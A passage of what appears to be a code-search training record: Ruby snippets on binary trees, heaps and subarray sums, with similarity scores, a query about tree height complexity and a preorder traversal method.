"def data_shapes tree\n acc = Array.new(MAX_DIM + 1) { [] }\n min_level = MAX_DIM + 1\n max_level = 0\n minmax = [min_level, max_level]\n\n search max_level, tree, acc, minmax\n\n min_level = minmax[0]\n max_level = minmax[1]\n\n if acc[max_level] && acc[max_level].all? { |a| a.nil? }\n # min_level is not set in this special case. Hence the check.\n elsif min_level != max_level\n raise ValueError, \"unbalanced tree: min depth #{min_level} and max depth #{max_level}\"\n end\n\n data = acc[max_level]\n shapes = acc[0...max_level].reverse\n\n [data, shapes]\n end",
"def largest_contiguous_subsum(arr)\n\n\nend",
"def height\n return 0 if @root == nil\n t, result = @root, -1\n while t\n t = t.left\n result += 1\n end\n result\n end",
"def heapify(array, heap_size, index)\n return if index >= heap_size\n\n l = index * 2 + 1\n r = index * 2 + 2\n\n largest = index\n\n largest = l if l < heap_size && array[l] > array[largest]\n largest = r if r < heap_size && array[r] > array[largest]\n\n if largest != index\n swap(array, index, largest)\n\n # propogate change on subtree\n heapify(array, heap_size, largest)\n end\n\n array\nend",
"def make_binary_tree(sorted_array)\n if sorted_array.length == 0\n return nil\n elsif sorted_array.length == 1\n return TreeNode.new(sorted_array[0])\n end\n divide_index = sorted_array.length / 2\n tree_node = TreeNode.new(sorted_array[divide_index])\n tree_node.left = make_binary_tree(sorted_array[0..divide_index-1])\n tree_node.right = make_binary_tree(sorted_array[divide_index+1..sorted_array.length-1])\n return tree_node\nend",
"def build_array(node)\r\n return [] if node.nil?\r\n results = []\r\n results.concat build_array(node.left)\r\n results << node.payload\r\n results.concat build_array(node.right)\r\n results\r\nend",
"def depth_helper(node, arr, depth)\n if node.left.nil? && node.right.nil? \n arr << depth\n return\n else \n depth += 1 \n if node.left\n depth_helper(node.left, arr, depth) \n end \n if node.right\n depth_helper(node.right, arr, depth)\n end \n end \n end",
"def number_of_half_nodes_in_binary_tree(root)\n return 0 if !root\n count = 0\n queue = Queue.new()\n queue.enqueue(root)\n while(!queue.is_empty?)\n node = queue.dequeue\n\n count += 1 if (node.left_child && !node.right_child) || (!node.left_child && node.right_child)\n\n queue.enqueue(node.left_child) if node.left_child\n queue.enqueue(node.right_child) if node.right_child\n end\n count\nend",
"def build_tree(array)\n\t\t@root_node = Node.new(array[array.length / 2])\n\t\tarray[array.length / 2] = nil\n\t\tcounter = 0\n\t\tuntil counter == array.length\n\t\t\tset_value(array[counter], @root_node) if array[counter] != nil\n\t\t\tcounter += 1\n\t\tend\n\n\tend",
"def sort\n\n arr_len = @data.length\n start_build_idx = arr_len / 2 - 1 # The last half of the array is just leaves\n\n for i in (start_build_idx).downto(0)\n\n max_heapify(@data, arr_len, i) # Build the heap from the array\n end\n\n for i in (arr_len-1).downto(0)\n\n swap(@data, i, 0) # Move the current root to the end of the array\n max_heapify(@data, i, 0) # Heapify the remaining part of the array excluding the root which was just sorted to the end\n end\n\n puts(@data)\n end",
"def sum_depth ( x, weight = 1 )\n sum = 0\n\n x = [ x ] if x.is_a? Integer\n\n x.each do | n |\n if n.is_a? Array\n sum += sum_depth( n, weight + 1 )\n else\n sum += n * weight\n end\n end\n\n return sum\nend",
"def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def find_unsorted_subarray3(nums)\n left = nums.length\n right = 0\n\n stack = []\n\n nums.each_with_index do |num, index|\n left = [left, stack.pop].min while !stack.empty? && nums[stack.last] > num\n stack.push index\n end\n\n stack.clear\n\n (nums.size - 1).downto(0) do |index|\n right = [right, stack.pop].max while !stack.empty? && nums[stack.last] < nums[index]\n stack.push index\n end\n\n right > left ? right - left + 1 : 0\nend",
"def size_of_children(arr)\n children_count = arr[0]\n metadata_count = arr[1]\n\n if children_count == 0\n # the value is simply the sum of child nodes\n value = arr[2..(metadata_count+1)].sum\n $metadata_total += value\n return {size: (2 + metadata_count), value: value}\n elsif children_count >= 1\n total_children_size = 0\n\n child_nodes_values = [ nil ] # we need a dummy item at index 0\n\n children_count.times do |index|\n kiddo_report = size_of_children(arr[2+total_children_size..-1])\n total_children_size += kiddo_report[:size]\n child_nodes_values << kiddo_report[:value]\n end\n\n metadata_nodes = arr[(2 + total_children_size)..(1 + total_children_size + metadata_count)]\n $metadata_total += metadata_nodes.sum\n\n # Value is more complicated when the node has child nodes. Value is the sum\n # of the values of child nodes referred to, but we have to be careful since\n # arrays are 0-indexed and references to child nodes are 1-indexed. If the\n # child node doesn't actually exist, the value is 0.\n total_value = 0\n metadata_nodes.each do |node|\n total_value += child_nodes_values.fetch(node, 0)\n end\n\n return {size: (2 + total_children_size + metadata_count), value: total_value}\n end\nend",
"def build_tree_aux(input_array, start_index, stop_index)\n return nil if start_index > stop_index\n\n middle_index = (start_index + stop_index) / 2\n left_half = build_tree_aux(input_array, start_index, middle_index - 1)\n middle_value = input_array[middle_index]\n right_half = build_tree_aux(input_array, middle_index + 1, stop_index)\n Node.new(middle_value, left_half, right_half)\n end",
"def size\n return @tree.size\n end",
"def height(node)\n return 0 if node.nil?\n\n lh = height(node.left)\n rh = height(node.right)\n @ans = [@ans, lh + rh].max\n 1 + [lh, rh].max\nend",
"def bad_contig_subsum(arr)\n # n! || n^3 ?\n sub_arrays = []\n arr.each_index do |i|\n (i...arr.length).each do |j|\n sub_arrays << arr[i..j]\n end\n end\n\n # above * n^2 ? << bottleneck\n max = sub_arrays.first.inject(&:+)\n sub_arrays.each do |sub_arr|\n sub_sum = sub_arr.inject(&:+)\n max = sub_sum if sub_sum > max\n end\n max\nend",
"def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend",
"def river_sizes(matrix)\n sizes = []\n visited = Array.new(matrix.length, Array.new(matrix[0].length, false))\n\n (0..matrix.length - 1).each do |i|\n (0..matrix[i].length - 1).each do |j|\n next if visited[i][j]\n traverse_node(i, j, matrix, visited, sizes) \n end\n end\n\n sizes\nend",
"def build_tree(arr)\n @root = Node.new(arr.shift)\n arr.each { |data| insert_data(data, @root) }\n end",
"def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end",
"def build_tree(array)\n\t\t@root = Node.new(array.shift)\n\t\tarray.each { |value| add_node(value, @root)}\n\tend",
"def right_side_view(root)\n return [] unless root\n queue = [[root, 0]]\n results_arr = []\n\n until queue.empty?\n current_node, current_depth = queue.shift\n queue.push([current_node.left, current_depth + 1]) if current_node.left\n queue.push([current_node.right, current_depth + 1]) if current_node.right\n\n # if queue.empty?\n # results_arr.push(current_node.val)\n # elsif queue[0][1] != current_depth\n # results_arr.push(current_node.val)\n # end\n results_arr[current_depth] = current_node.val\n end\n results_arr\nend",
"def height\n return @tree_height\n end",
"def find_unsorted_subarray3(nums)\n left = nums.length\n right = 0\n\n stack = []\n\n nums.each_with_index do |num, index|\n while !stack.empty? && nums[stack.last] > num\n left = [left, stack.pop].min\n end\n stack.push index\n end\n\n stack.clear\n\n (nums.size - 1).downto(0) do |index|\n while !stack.empty? && nums[stack.last] < nums[index]\n right = [right, stack.pop].max\n end\n stack.push index\n end\n\n right > left ? right - left + 1 : 0\nend",
"def in_order(node = root, array = [])\n return if node.nil?\n\n in_order(node.left, array) # traverse the whole left tree first\n array << node.data # then push the node into the array when it reaches the leaf node\n in_order(node.right, array) # then traverse the whole right tree\n array\n end",
"def build_tree(arr)\n @root = insert_node(nil, arr.shift)\n arr.each { |value| insert_node(@root, value) }\n end",
"def get_height(node)\n return 0 if node.nil?\n return 1 + [get_height(node.left), get_height(node.right)].max\nend",
"def construct_tree(arr)\n root = TreeNode.new(arr.shift)\n xtd = [root]\n while !xtd.empty? && !arr.empty?\n cur_node = xtd.shift\n a, b = arr.shift(2) # doesn't matter if arr.size < 2. in this case, a, b might be nil\n cur_node.left = a.nil? ? nil : TreeNode.new(a)\n cur_node.right = b.nil? ? nil : TreeNode.new(b)\n xtd << cur_node.left unless cur_node.left.nil?\n xtd << cur_node.right unless cur_node.right.nil?\n end\n root\nend",
"def get_all_trees_from_preorder(array, start=0, end_index=array.size-1)\n #Pre-order visits root first. So 1st element is always root of the tree. next element could be left or right\n #Form all trees with next element being its left, then trees with next element as its right etc.\n # [1,2,3,4] => Use DP approach, bottom up approach. Go all the way down to last 2 nodes\n # 3 3\n # 4 and 4\n # Now 2 can be added as the root and left could be 3 and right could be 3\n # 4 4\n # And follow this till root\n if (start == array.size-1)\n return [Node.new(array[start])]\n end\n results = []\n trees = get_all_trees_from_preorder(array, start+1, end_index-1)\n trees.each do |tree|\n node1 = Node.new(array[start])\n node1.left = tree\n results << node1\n node2 = Node.new(array[start])\n node2.right = tree\n results << node2\n end\n results\nend",
"def find_and_sift(array, index, tree, orders)\n value = array[index]\n while tree > 0\n parent_index = index - LEONARDO_NUMS[orders[tree]]\n break if array[parent_index] <= value\n\n if orders[tree] > 1\n right_index = index - 1\n left_index = right_index - LEONARDO_NUMS[orders[tree] - 2]\n break if array[parent_index] <= array[left_index] ||\n array[parent_index] <= array[right_index]\n end\n\n array[index] = array[parent_index]\n index = parent_index\n tree -= 1\n end\n array[index] = value\n sift_down(array, index, orders[tree])\nend",
"def calc_tree_height(\n cycle:\n)\n height = 1\n return height if cycle.zero?\n (1..cycle).each do |num|\n height = num.odd? ? height * 2 : height + 1\n end\n height\nend",
"def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend",
"def test_return_array_root_node\n @tree.insert(\"f\")\n assert_equal [\"f\"], @tree.sort\n end"
] | [
"0.6643632",
"0.63621527",
"0.62926084",
"0.6245075",
"0.61923474",
"0.6191766",
"0.6151042",
"0.60304797",
"0.60066926",
"0.5993424",
"0.59577596",
"0.59577507",
"0.5933798",
"0.5923278",
"0.58638585",
"0.5856788",
"0.58558273",
"0.5849361",
"0.5845749",
"0.579695",
"0.5795708",
"0.578196",
"0.5752648",
"0.5749612",
"0.57194656",
"0.5713992",
"0.56989205",
"0.5695461",
"0.56808746",
"0.5667603",
"0.5665883",
"0.565471",
"0.5651441",
"0.56432825",
"0.56249434",
"0.5621846",
"0.5620295",
"0.5613064",
"0.558476",
"0.55785",
"0.55771714",
"0.5575559",
"0.55665517",
"0.55489224",
"0.5544697",
"0.5527125",
"0.5520607",
"0.5518274",
"0.55077815",
"0.5500768",
"0.5497527",
"0.5483349",
"0.5473169",
"0.546957",
"0.54630464",
"0.5448307",
"0.54465765",
"0.5445944",
"0.54410434",
"0.5436998",
"0.54218036",
"0.5416452",
"0.53896976",
"0.5388723",
"0.5380713",
"0.5374386",
"0.5364968",
"0.5364244",
"0.5364158",
"0.53559816",
"0.5349747",
"0.5347461",
"0.53416044",
"0.5339725",
"0.53373766",
"0.5333445",
"0.5317535",
"0.5316556",
"0.53149086",
"0.53145784",
"0.53087914",
"0.5307293",
"0.53021973",
"0.5301213",
"0.5297109",
"0.5293819",
"0.52890205",
"0.52878296",
"0.52845085",
"0.5280126",
"0.52704275",
"0.5266756",
"0.5264805",
"0.52625906",
"0.52548575",
"0.5250578",
"0.52498925",
"0.5242505",
"0.5238764",
"0.52341694",
"0.52148825"
] | 0.0 | -1 |
Time Complexity: O(n) where n is the height of the tree Space Complexity: O(n) where n is the height of the tree | def preorder
array = []
return [] if @root.nil?
current = @root
return preorder_recursive(current, array)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_height_nodes(root) # O(n)\n return 0 if root == nil\n left_height = 1 + find_height_nodes(root.left)\n right_height = 1 + find_height_nodes(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def height\n return 0 if is_empty\n\n queue = [@root]\n height = 0\n\n while true\n node_count = queue.length\n\n return height if node_count == 0\n\n height += 1\n\n while node_count > 0\n node = queue.shift()\n\n queue << node.left unless node.left.nil?\n queue << node.right unless node.right.nil?\n\n node_count -= 1\n end\n end\n end",
"def height\n height_recursive(@root)\n end",
"def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def height_edges(root)\n return -1 if root == nil\n\n left = height_edges(root.left)\n right = height_edges(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def height\n return 0 if @root == nil\n t, result = @root, -1\n while t\n t = t.left\n result += 1\n end\n result\n end",
"def height(node, height_num = 0)\n #1. get the node from the tree that we are starting from if it's not the correct class\n if (node != nil && node.class != Node)\n node = find_node(node)\n #1.5 recurisvely return height_num if node has no children\n end\n if(node.nil? || node.left.nil? && node.right.nil?)\n return height_num \n end\n height_num += 1 \n #4. start a recursive call on the left node to travel down all of it's node\n right_height_value = height(node.right,height_num)\n #5. compare values of left and right recursive values\n left_height_value = left_height(node.left) \n result = left_height_value > right_height_value ? left_height_value : right_height_value\n #6. return the value of the height of the node\n return result\n end",
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def get_height(node)\n return 0 if node.nil?\n return 1 + [get_height(node.left), get_height(node.right)].max\nend",
"def height(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_height = height(node.left_child)\n right_height = height(node.right_child)\n if left_height >= right_height\n return left_height + 1\n else\n return right_height + 1\n end\n end\nend",
"def height\n return 0 if @root == nil\n return 1 if @root && (@root.left == nil && @root.right == nil)\n height_helper(@root, 0)\n end",
"def height\n return 0 if @root.nil?\n current = @root\n height_recursive(current)\n end",
"def height\n return @tree_height\n end",
"def get_tree_height(d,cnt = 0 )\n \n if ( d['l'] == {} && d['r'] == {} )\n @depth = cnt if @depth < cnt\n else\n cnt = cnt + 1\n get_tree_height(d['l'],cnt) if d.key?('l')\n get_tree_height(d['r'],cnt) if d.key?('r')\n end\n \n return @depth\n \nend",
"def height_with_recursion(root)\n return 0 unless root\n leftDepth = height_with_recursion(root.left)\n rightDepth = height_with_recursion(root.right)\n (leftDepth > rightDepth) ? leftDepth + 1 : rightDepth + 1\n end",
"def height\n max_height = 0\n each do |child|\n if child.kind_of? Tree\n max_height = [max_height, 1].max\n else\n max_height = [max_height, child.height].max\n end\n end\n max_height.succ\n end",
"def recursive_binary_tree_height(node)\n return 0 if node.nil?\n left = recursive_binary_tree_height(node.left)\n right = recursive_binary_tree_height(node.right)\n [left, right].max + 1\nend",
"def number_of_half_nodes_in_binary_tree(root)\n return 0 if !root\n count = 0\n queue = Queue.new()\n queue.enqueue(root)\n while(!queue.is_empty?)\n node = queue.dequeue\n\n count += 1 if (node.left_child && !node.right_child) || (!node.left_child && node.right_child)\n\n queue.enqueue(node.left_child) if node.left_child\n queue.enqueue(node.right_child) if node.right_child\n end\n count\nend",
"def height(node)\n # Base case: We've reached past a leaf node (stop incrementing)\n return -1 if node.nil?\n\n # Otherwise, return the max of the left and right subtree heights.\n 1 + [height(node.left), height(node.right)].max\n end",
"def with_rows_and_height\n root = self\n queue = [root]\n visited = []\n\n until queue.empty?\n current = queue.shift\n adjacency_list = current.children\n\n self.height += 1\n adjacency_list.each do |node|\n root.rows << (node.nil? ? \"x\" : node.value)\n next if node.nil?\n visited << node.value\n\n if node.distance == Float::INFINITY\n node.distance = current.distance + 1\n node.parent = current\n queue.push(node)\n end\n end\n end\n\n self\n end",
"def height(current = @root)\n # If the current node is nil return 0\n # Otherwise return 1 plus the maximum of the heights of the right and left subtrees\n return 0 if current.nil?\n left = height(current.left)\n right = height(current.right)\n left >= right ? 1 + left : 1 + right \n end",
"def height(root)\n return 0 if root.nil?\n [height(root.left), height(root.right)].max + 1\nend",
"def calc_tree_height(\n cycle:\n)\n height = 1\n return height if cycle.zero?\n (1..cycle).each do |num|\n height = num.odd? ? height * 2 : height + 1\n end\n height\nend",
"def height\n if @root.nil?\n return 0\n elsif @root.left.nil? && @root.right.nil?\n return 1\n end\n return height_helper(@root)\n end",
"def find_height_edges(root)\n return -1 if root == nil\n left_height = 1 + find_height_edges(root.left)\n right_height = 1 + find_height_edges(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def height(current_node)\n #node doesn't exist\n return -1 if current_node.nil?\n\n if current_node.left.nil? and current_node.right.nil?\n 0\n else\n if current_node.left.nil?\n return 1+height(current_node.right);\n else\n if current_node.right.nil?\n return 1+height(current_node.left);\n else\n return 1+maximum(height(current_node.left), height(current_node.right));\n end\n end\n end\n end",
"def height\n count_right = 0\n count_left = 0\n node = @root\n return count_left if node.nil?\n\n count_left = height_helper(node, 'left', count_left)\n count_right = height_helper(node, 'right', count_right)\n if count_right > count_left\n count_right\n else\n count_left\n end\n end",
"def build_tree( n , d )\n \n if d.key?('v')\n n < d['v'] ? build_tree(n , d['l']) : build_tree(n, d['r'])\n else\n d['l'] = {}\n d['v'] = n\n d['r'] = {}\n end\n \nend",
"def height(node)\n return 0 if node.nil?\n\n lh = height(node.left)\n rh = height(node.right)\n @ans = [@ans, lh + rh].max\n 1 + [lh, rh].max\nend",
"def max_depth(root)\n node_queue = [root]\n depth = 0\n\n while node_queue.any?\n depth += 1\n breadth = node_queue.size\n breadth.times do\n node = node_queue.shift\n node_queue.push(node.left) unless node.left.nil?\n node_queue.push(node.right) unless node.right.nil?\n end\n end\n\n depth\nend",
"def utopian_tree_size(n)\n\n\t# Using the formula above, the solution is quite simple\n\t# (n) = (2^(m+1) - 2) + 1(1 - n mod 2), where m = ( n + n mod 2) / 2\n\n\t# Find the max M \n\tm = ( n + n % 2) / 2\n\n\t# Get the result \n\t(2**(m+1) - 2 + 1*(1 - n % 2))\nend",
"def height(node = root)\n unless node.nil? || node == root\n node = (node.instance_of?(Node) ? find(node.data) : find(node))\n end\n return -1 if node.nil?\n\n [height(node.left), height(node.right)].max + 1\n end",
"def height(root = self)\n return 0 if root.nil? || root.leaf?\n 1 + [height(root.left), height(root.right)].max\n end",
"def depth_iter(root=@root)\n return 0 if root.nil? # height of an empty tree is 0\n \n s = []\n h = 1\n s.push [root, h]\n loop do\n break if s.empty?\n node, _h = s.pop\n # nothing to do with node.val\n h = _h if h < _h # interested by the max\n s.push [node.rnode, _h+1] if node.rnode\n s.push [node.lnode, _h+1] if node.lnode\n end\n h\n end",
"def find_height(root)\n return 0 if root.nil?\n left = find_height(root.left)\n right = find_height(root.right)\n left > right ? left + 1 : right + 1\nend",
"def height(node)\n if node == nil\n return 0\n else \n #calcula el alto del arbol en cada nodo \n lheight = height(node.getLeft())\n rheight = height(node.getRight())\n \n #devuelve el largo\n if lheight > rheight\n return lheight+1\n else\n return rheight+1\n end\n end\n end",
"def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end",
"def tree_height(pos)\n r = 0..0\n tree_heights = acc.map.with_index{|a, i| a ? i : nil}.reverse\n tree_heights[tree_heights.index(highest_height - 1)..-1].each do |h|\n next unless h\n r = (r.last...(r.last + 2**h))\n return h if r.include?(pos)\n end\n end",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def height(node=@root)\n node.nil? ? 0 : (1 + [height(node.right), height(node.left)].max)\n end",
"def test_depth_of_method\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n tree.insert(40, \"movie c\")\n tree.insert(35, \"movie d\")\n assert_equal 3, tree.depth_of(35)\n end",
"def height(node = @root)\n return 0 unless node\n\n [height(node.left), height(node.right)].max + 1\n end",
"def height_of_heap(start_node_index, end_node_index)\n height = 0\n while end_node_index >= start_node_index \n height++\n end_node_index = parent_index(end_node_index)\n end\n height\n end",
"def height\n return 0 if @root.nil?\n return [height_helper(@root.left), height_helper(@root.right)].max + 1\n end",
"def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend",
"def height(root)\n return 0 if root.nil?\n left_height = height(root.left)\n right_height = height(root.right)\n [left_height, right_height].max + 1\nend",
"def height(node = @root)\n return 0 if node.nil?\n\n 1 + [height(node.left), height(node.right)].max\n end",
"def height(key, count = 0, child = level_order(key).pop)\n count += 1\n if child == key\n return count - 1\n else\n parent = find_parent(child).data\n height(key, count, parent)\n end\n end",
"def half_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n half_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n half_nodes_count += 1 if ((node.left && !node.right) || (!node.left && node.right))\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n half_nodes_count\n end",
"def size\n return @tree.size\n end",
"def dfs(root)\n return if root.nil?\n @stack << root\n @hash[root] = [root.val]\n @stack.each do |node|\n @hash[node] << root.left&.val\n @hash[node] << root.right&.val\n end\n dfs(root.left)\n dfs(root.right)\n @stack.pop\nend",
"def traverse_with_h(tree,height=nil,&block)\n\n tree.children.each do |t|\n traverse_with_h(t,height+1,&block)\n end\n\n if block_given?\n yield tree, height\n end\n\n end",
"def height_balanced(root)\n return true if root.nil?\n\n left, right = root.left, root.right\n left_depth, right_depth = max_depth(left), max_depth(right)\n\n (left_depth - right_depth) <= 1 &&\n height_balanced(left) &&\n height_balanced(right)\nend",
"def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend",
"def sum_of_left_leaves(root)\nend",
"def test_depth_of_method_returns_nil\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n assert_nil tree.depth_of(35)\n end",
"def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend",
"def height(current = @root, h = 0)\n return h unless current\n\n height_left = height(current.left, h + 1)\n height_right = height(current.right, h + 1)\n\n height_left > height_right ? height_left : height_right\n end",
"def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend",
"def height\n # raise NotImplementedError\n # return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end",
"def height\n longest_tree_path(@root)\n end",
"def get_diameter(node)\n return 0 if node.nil? || (node.left.nil? && node.right.nil?)\n left_height = get_height(node.left)\n right_height = get_height(node.right)\n left_diameter = get_diameter(node.left)\n right_diameter = get_diameter(node.right)\n return [left_diameter, right_diameter, left_height + right_height + 1].max\nend",
"def height\n depths = []\n recursive_yield_leaf_heights(current_node: @root, depth: 0) { |depth| depths << depth }\n return depths.max || 0 # The depth of an empty tree is zero.\n end",
"def height(node)\n\tif node == nil\n\t\treturn 0\n\tend\n\tlheight = height(node.left)\n\trheight = height(node.right)\n\t@ans = [@ans,(lheight+rheight+1)].max\n\tif lheight > rheight\n\t\treturn lheight+1\n\telse\n\t\treturn rheight+1\n\tend\nend",
"def height\n count = 0\n if @root != nil\n count = height_helper(@root)\n end\n return count\n end",
"def max_depth(root)\n return 0 if root.nil?\n left_height = max_depth(root.left)\n right_height = max_depth(root.right)\n return left_height > right_height ? left_height + 1 : right_height + 1;\nend",
"def height\n current_node = @root\n\n return height_helper(current_node)\n end",
"def height\n return height_helper(@root, 0, 1)\n end",
"def height\n return height_helper(@root, 0, 1)\n end",
"def challenge4\n\t@size = length(@rootNode)\n\tputs \"Challenge #4 solution: \"\n\tputs \"Number of nodes in tree: \" + @size.to_s\n\tputs \"-----------------------------------\"\nend",
"def depth\n if empty?\n 0\n else\n if @left==nil || @right==nil\n if (@left==nil&&@right==nil) then 1\n else -1\n end\n else\n left, right = @left.depth, @right.depth\n if left==-1||right==-1||left!=right then -1\n else 1+left\n end\n end\n end\n end",
"def height\n return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end",
"def height\n return 0 if @root == nil\n\n current = @root\n\n return height_helper(current, 1, 1)\n end",
"def height(level = 1)\n if @children[LEFT] != nil\n return @children[LEFT].height(level + 1)\n elsif @children[RIGHT] != nil\n return @children[RIGHT].height(level + 1)\n end\n end",
"def heapify(index)\n left = @tree[left(index)]\n right = @tree[right(index)]\n current = @tree[index]\n if !left && !right # if no children exist nothing to compare with\n nil\n elsif left && !right\n if left.rating < current.rating\n temp = @tree[index]\n @tree[index] = @tree[left]\n @tree[left] = temp\n #no need to heapify at a leaf\n end\n elsif left.rating < current.rating || right.rating < current.rating\n if @tree[left].rating <= @tree[right].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[left]\n @tree[left] = temp\n heapify(left(index))\n elsif @tree[right].rating < @tree[left].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[right]\n @tree[right] = temp\n heapify(right(index))\n end\n end\n end",
"def total_depth(node, depth = 0)\n @d = depth\n @d = @d + 1 if node.children.size > 0\n node.children.map{|c| x = total_depth(c,@d) - 1; @d = x if x > @d }\n return @d\nend",
"def find_target(root, k)\n return nil if root == nil\n hash = Set.new([])\n queue = [root]\n \n while !queue.empty?\n node = queue.shift\n \n return true if hash.include?(node.val)\n \n hash.add(k-node.val)\n \n if node.left; queue.push(node.left) end\n if node.right; queue.push(node.right) end\n end\n \n return false\nend",
"def tree\n root = Node.new(1)\n root.left = Node.new(2)\n root.right = Node.new(3)\n root.left.left = Node.new(4)\n root.left.right = Node.new(5)\n root.right.left = Node.new(6)\n root.right.right = Node.new(7)\n root.right.right.right = Node.new(8)\n root\nend",
"def height(current_node = @root)\n if current_node.nil?\n return 0\n end\n \n r = height(current_node.right)\n l = height(current_node.left)\n \n return [r, l].max + 1\n end",
"def height(current = @root, array)\n\n end",
"def height_helper(current_node, level = 0)\n return level if !current_node\n level = [height_helper(current_node.left, level + 1), height_helper(current_node.right, level + 1)].max\n return level\n end",
"def find_end_of_node_path(i)\n left_index = left_child_index(i)\n right_index = right_child_index(i)\n \n if left_index > @heap_size && right_index > @heap_size\n i\n elsif right_index > @heap_size\n left_index\n else\n max_child_index = -1\n left_child_value = self[left_index - 1]\n right_child_value = self[right_index - 1]\n if right_child_value && left_child_value > right_child_value\n max_child_index = left_index\n else\n max_child_index = right_index\n end\n find_end_of_node_path max_child_index\n end\n end",
"def height_helper(current_node)\n if current_node.nil?\n return 0 \n end\n\n left = height_helper(current_node.left)\n right = height_helper(current_node.right)\n \n if left > right\n return left += 1\n else\n return right += 1\n end\n end",
"def length\n @tree.length\n end",
"def height\n return height_helper(@root, 0)\n end",
"def height\n return height_helper(@root, 0)\n end",
"def dfs(root, depth)\n return if root.nil?\n @f[depth] = @f[depth].to_i + root.val\n dfs(root.left, depth + 1) if root.left\n dfs(root.right, depth + 1) if root.right\nend",
"def recalculate(inode)\n full_count = 0\n inode.list_of_children.each do |node|\n#p node\n komvos = self.get(node)\n#p komvos\n if komvos.normalize==0\n puts \"node #{node} is not leaf\"\n # if not leaf\n #recalc(holon.searchFor(node).listOfChildren)\n self.recalculate(komvos)\n else \n # exw kanei: node.normalize kai einai leaf\n puts \"node #{node} is leaf\"\n \n end\n # uplogizw to sum of coun and re-normalize\n full_count = full_count + komvos.weight\n end\n inode.weight = full_count\n end",
"def elegant_tree_by_levels(node)\n stack=[]\n stack.push node if node\n stack.each do |n|\n stack.push n.left if n.left\n stack.push n.right if n.right\n end\n stack.map! &:value\nend",
"def tree_by_levels(node)\n return [] if node.nil?\n queue = [node]\n visited = []\n while !queue.empty?\n node = queue.shift\n visited << node.value\n [node.left, node.right].each do |child|\n queue << child if child\n end\n end\n visited\nend",
"def count_leaf_nodes(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_leaves = count_leaf_nodes(node.left_child)\n right_leaves = count_leaf_nodes(node.right_child)\n return left_leaves + right_leaves\n end\nend",
